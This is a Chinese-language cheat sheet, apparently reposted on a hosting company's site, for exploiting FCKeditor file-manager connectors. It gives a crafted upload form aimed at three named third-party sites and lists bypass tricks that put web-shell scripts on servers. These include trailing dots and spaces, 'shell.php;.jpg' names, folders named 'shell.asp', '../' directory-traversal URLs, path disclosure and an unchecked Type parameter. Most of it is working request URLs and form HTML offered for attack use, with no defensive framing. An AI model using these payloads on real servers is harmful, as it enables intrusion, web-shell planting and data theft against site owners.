您好,登錄后才能下訂單哦!
一、本地構造test.html上傳頁面
<!-- * FCKeditor - The text editor for Internet - http://www.fckeditor.net * Copyright (C) 2003-2007 Frederico Caldeira Knabben * * == BEGIN LICENSE == * * Licensed under the terms of any of the following licenses at your * choice: * * - GNU General Public License Version 2 or later (the "GPL") * http://www.gnu.org/licenses/gpl.html * * - GNU Lesser General Public License Version 2.1 or later (the "LGPL") * http://www.gnu.org/licenses/lgpl.html * * - Mozilla Public License Version 1.1 or later (the "MPL") * http://www.mozilla.org/MPL/MPL-1.1.html * * == END LICENSE == * * Test page for the File Browser connectors. --> <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>FCKeditor - Connectors Tests</title> <script type="text/javascript"> function BuildBaseUrl( command ) { var sUrl = document.getElementById('cmbConnector').value + '?Command=' + command + '&Type=' + document.getElementById('cmbType').value + '&CurrentFolder=' + encodeURIComponent(document.getElementById('txtFolder').value) ; return sUrl ; } function SetFrameUrl( url ) { document.getElementById('eRunningFrame').src = url ; document.getElementById('eUrl').innerHTML = url ; } function GetFolders() { SetFrameUrl( BuildBaseUrl( 'GetFolders' ) ) ; return false ; } function GetFoldersAndFiles() { SetFrameUrl( BuildBaseUrl( 'GetFoldersAndFiles' ) ) ; return false ; } function CreateFolder() { var sFolder = prompt( 'Type the folder name:', 'Test Folder' ) ; if ( ! sFolder ) return false ; var sUrl = BuildBaseUrl( 'CreateFolder' ) ; sUrl += '&NewFolderName=' + encodeURIComponent( sFolder ) ; SetFrameUrl( sUrl ) ; return false ; } function OnUploadCompleted( errorNumber, fileName ) { switch ( errorNumber ) { case 0 : alert( 'File uploaded with no errors' ) ; break ; case 201 : GetFoldersAndFiles() ; alert( 'A file with the same name is already available. The uploaded file has been renamed to "' + fileName + '"' ) ; break ; case 202 : alert( 'Invalid file' ) ; break ; default : alert( 'Error on file upload. Error number: ' + errorNumber ) ; break ; } } this.frames.frmUpload = this ; function SetAction() { var sUrl = BuildBaseUrl( 'FileUpload' ) ; document.getElementById('eUrl').innerHTML = sUrl ; document.getElementById('frmUpload').action = sUrl ; } </script> </head> <body> <table height="100%" cellspacing="0" cellpadding="0" width="100%" border="0"> <tr> <td> <table cellspacing="0" cellpadding="0" border="0"> <tr> <td> Connector:<br /> <select id="cmbConnector" name="cmbConnector"> <option value="http://shuangdeng.com.cn/admin/fckeditor/editor/filemanager/browser/default/connectors/asp/connector.asp" selected="selected">ASP</option> <option value="http://www.syszly.com/fckeditor/editor/filemanager/connectors/aspx/connector.aspx">ASP.Net</option> <option value="cfm/connector.cfm">ColdFusion</option> <option value="lasso/connector.lasso">Lasso</option> <option value="perl/connector.cgi">Perl</option> <option value="http://www.oyeas.net/admin/editor/filemanager/connectors/php/connector.php">PHP</option> <option value="py/connector.py">Python</option> </select> </td> <td> </td> <td> Current Folder<br /> <input id="txtFolder" type="text" value="/" name="txtFolder" /></td> <td> </td> <td> Resource Type<br /> <select id="cmbType" name="cmbType"> <option value="File" selected="selected">File</option> <option value="Image">Image</option> <option value="Flash">Flash</option> <option value="Media">Media</option> <option value="Invalid">Invalid Type (for testing)</option> </select> </td> </tr> </table> <br /> <table cellspacing="0" cellpadding="0" border="0"> <tr> <td valign="top"> <a href="#" onclick="GetFolders();">Get Folders</a></td> <td> </td> <td valign="top"> <a href="#" onclick="GetFoldersAndFiles();">Get Folders and Files</a></td> <td> </td> <td valign="top"> <a href="#" onclick="CreateFolder();">Create Folder</a></td> <td> </td> <td valign="top"> <form id="frmUpload" action="" target="eRunningFrame" method="post" enctype="multipart/form-data"> File Upload<br /> <input id="txtFileUpload" type="file" name="NewFile" /> <input type="submit" value="Upload" onclick="SetAction();" /> </form> </td> </tr> </table> <br /> URL: <span id="eUrl"></span> </td> </tr> <tr> <td height="100%" valign="top"> <iframe id="eRunningFrame" src="javascript:void(0)" name="eRunningFrame" width="100%" height="100%"></iframe> </td> </tr> </table> </body> </html>
二、頁面匯總
1、查看編輯器版本
FCKeditor/_whatsnew.html
-------------------------------------------------------------------------------------------
2. Version 2.2 版本
Apache+linux 環(huán)境下在上傳文件后面加個.突破!測試通過。
-------------------------------------------------------------------------------------------
3.Version <=2.4.2 For php 在處理PHP 上傳的地方并未對Media 類型進行上傳文件類型的控制,導致用戶上傳任意文件!將以下保存為html文件,修改action地址。
<form id="frmUpload" enctype="multipart/form-data"
action="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>
<input type="file" name="NewFile" size="50"><br>
<input id="btnUpload" type="submit" value="Upload">
</form>
-------------------------------------------------------------------------------------------
4.FCKeditor 文件上傳“.”變“_”下劃線的繞過方法
很多時候上傳的文件例如:shell.php.rar 或shell.php;.jpg 會變?yōu)閟hell_php;.jpg 這是新版FCK 的變化。
4.1:提交shell.php+空格繞過
不過空格只支持win 系統(tǒng) *nix 是不支持的[shell.php 和shell.php+空格是2 個不同的文件 未測試。
4.2:繼續(xù)上傳同名文件可變?yōu)閟hell.php;(1).jpg 也可以新建一個文件夾,只檢測了第一級的目錄,如果跳到二級目錄就不受限制。
-------------------------------------------------------------------------------------------
5. 突破建立文件夾
FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975684
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp
-------------------------------------------------------------------------------------------
6. FCKeditor 中test 文件的上傳地址
FCKeditor/editor/filemanager/browser/default/connectors/test.html
FCKeditor/editor/filemanager/upload/test.html
FCKeditor/editor/filemanager/connectors/test.html
FCKeditor/editor/filemanager/connectors/uploadtest.html
-------------------------------------------------------------------------------------------
7.常用上傳地址
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php (ver:2.6.3 測試通過)
JSP 版:
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp
注意紅色部分修改為FCKeditor 實際使用的腳本語言,藍色部分可以自定義文
件夾名稱也可以利用../..目錄遍歷,紫色部分為實際網站地址。
-------------------------------------------------------------------------------------------
8.其他上傳地址
FCKeditor/_samples/default.html
FCKeditor/_samples/asp/sample01.asp
FCKeditor/_samples/asp/sample02.asp
FCKeditor/_samples/asp/sample03.asp
FCKeditor/_samples/asp/sample04.asp
一般很多站點都已刪除_samples 目錄,可以試試。
FCKeditor/editor/fckeditor.html 不可以上傳文件,可以點擊上傳圖片按鈕再選擇瀏覽服務器即可跳轉至可上傳文件頁。
-------------------------------------------------------------------------------------------
9.列目錄漏洞也可助找上傳地址
Version 2.4.1 測試通過
修改CurrentFolder 參數(shù)使用 ../../來進入不同的目錄
/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=shell.asp
根據(jù)返回的XML 信息可以查看網站所有的目錄。
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F
也可以直接瀏覽盤符:
JSP 版本:
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F
-------------------------------------------------------------------------------------------
10.爆路徑漏洞
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp
-------------------------------------------------------------------------------------------
11. FCKeditor 被動限制策略所導致的過濾不嚴問題
影響版本: FCKeditor x.x <= FCKeditor v2.4.3
脆弱描述:
FCKeditor v2.4.3 中File 類別默認拒絕上傳類型:
html|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm
Fckeditor 2.0 <= 2.2 允許上傳asa、cer、php2、php4、inc、pwml、pht 后綴的文件上傳后它保存的文件直接用的$sFilePath = $sServerDir . $sFileName,而沒有使用$sExtension 為后綴.直接導致在win 下在上傳文件后面加個.來突破[未測試]!
而在apache 下,因為"Apache 文件名解析缺陷漏洞"也可以利用之,另建議其他上傳漏洞中定義TYPE 變量時使用File 類別來上傳文件,根據(jù)FCKeditor 的代碼,其限制最為狹隘。
在上傳時遇見可直接上傳腳本文件固然很好,但有些版本可能無法直接上傳可以利用在文件名后面加.點或空格繞過,也可以利用2003 解析漏洞建立xxx.asp文件夾或者上傳xx.asp;.jpg!
-------------------------------------------------------------------------------------------
12.最古老的漏洞,Type文件沒有限制!
我接觸到的第一個fckeditor漏洞了。版本不詳,應該很古老了,因為程序對type=xxx 的類型沒有檢查。我們可以直接構造上傳把type=Image 改成Type=hsren 這樣就可以建立一個叫hsren的文件夾,一個新類型,沒有任何限制,可以上傳任意腳本!
免責聲明:本站發(fā)布的內容(圖片、視頻和文字)以原創(chuàng)、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯(lián)系站長郵箱:is@yisu.com進行舉報,并提供相關證據(jù),一經查實,將立刻刪除涉嫌侵權內容。